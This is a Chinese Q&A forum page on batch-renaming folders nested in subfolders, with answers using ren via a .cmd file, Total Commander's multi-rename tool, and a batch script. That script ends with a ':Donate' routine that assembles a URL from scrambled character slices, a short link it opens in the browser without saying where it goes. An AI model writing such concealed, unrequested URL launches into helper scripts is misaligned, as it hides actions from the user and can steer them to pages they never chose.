批量修改子文件夹内文件夹的文件名

发布网友 发布时间:2022-02-23 00:28

我来回答

3个回答

热心网友 时间:2022-02-23 01:57

    在文件的地方按住“shift”+"右键","在此处打开命令窗口".(比如我这里要把包含“腾讯1-4”的文件名字改掉)

    然后在命令行输入“dir>name.txt”

    这样就会出现一个“name.txt”文件。我们打开它,只复制我们需要修改的内容。

    新建一个excal表格,把内容粘贴进去。

    之后在第一列加入“ren”(ren命令是windows自带的重命名命令),第二列为原本的文件名,第三列为我们的目标文件名。比如我这里要把“腾讯1-4”改成“1”,”2“,”3“,”4“。在excal中选中“腾讯1-4”列,按”ctrl+f“,选择“替换”,将”腾讯“替换成”“空格。

    之后复制出表格的内容到一个新的txt文件中,并将文件后缀名改为”.cmd“。双击运行这个.cmd就可以了。

追问您的回答很详细,但是不是为想要的答案。我现在知道要把具体那个文件夹名改为什么名字,只是不知道在那个文件夹里面,需要一个一个的搜索出来,修改,太麻烦。希望能有个自动搜索并修改的方法。但是还是谢谢您!

热心网友 时间:2022-02-23 03:15

你不妨使用Total Commander来帮忙,因为它支持调用一个文件列表来搜索和批量重命名。

1、在需要处理的最高层文件夹新建一个txt,把你要改动的文件名写进去,一行一个(这里支持绝对路径,也支持相对路径,支持通配符)

2、然后我们在这个最高层文件夹Ctrl+F唤出搜索界面,在“位置”@一下这个txt,如图——*ini表示所有ini文件,文件名不一样,w*x\表示搜索指定文件夹(wax、wbx、wcx……这样子的)

3、搜索完毕后有个按钮,可以将这些不同位置的符合要求的文件和文件夹,都显示在一起

4、全选,Ctrl+M唤出重命名工具

5、根据需要去重命名,如图——在这里,你同样可以准备一个文件列表,写上新文件名(同样一行一个),然后让它依据这个列表重命名。或者和我图示一样,只是简单加个序号

热心网友 时间:2022-02-23 04:50

@echo off & title 根据列表对应文件夹名进行重命名 By 依梦琴瑶

::设置列表文件
set NameList=文件夹名对应列表.txt

::设置要处理的主目录路径
set SrcDIR=测试

::如果列表中使用的分隔符是Tab,请把下面"tokens=1,2* delims= "中第二个等于号后面的空格符换成Tab符
for /f "usebackq tokens=1,2* delims= " %%a in ("%NameList%") do (
    for /f "delims=" %%i in ('dir /ad/s/b "%SrcDIR%\*%%~a"') do (
        if /i "%%~nxi"=="%%~a" ren "%%~i" "%%~b"
    )
)
pause
call :Donate
exit

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

代码是手机上编写的,所以尚未进行测试。因此不确定是否有Bug,请自测吧!

来自:求助得到的回答
声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。
E-MAIL:11247931@qq.com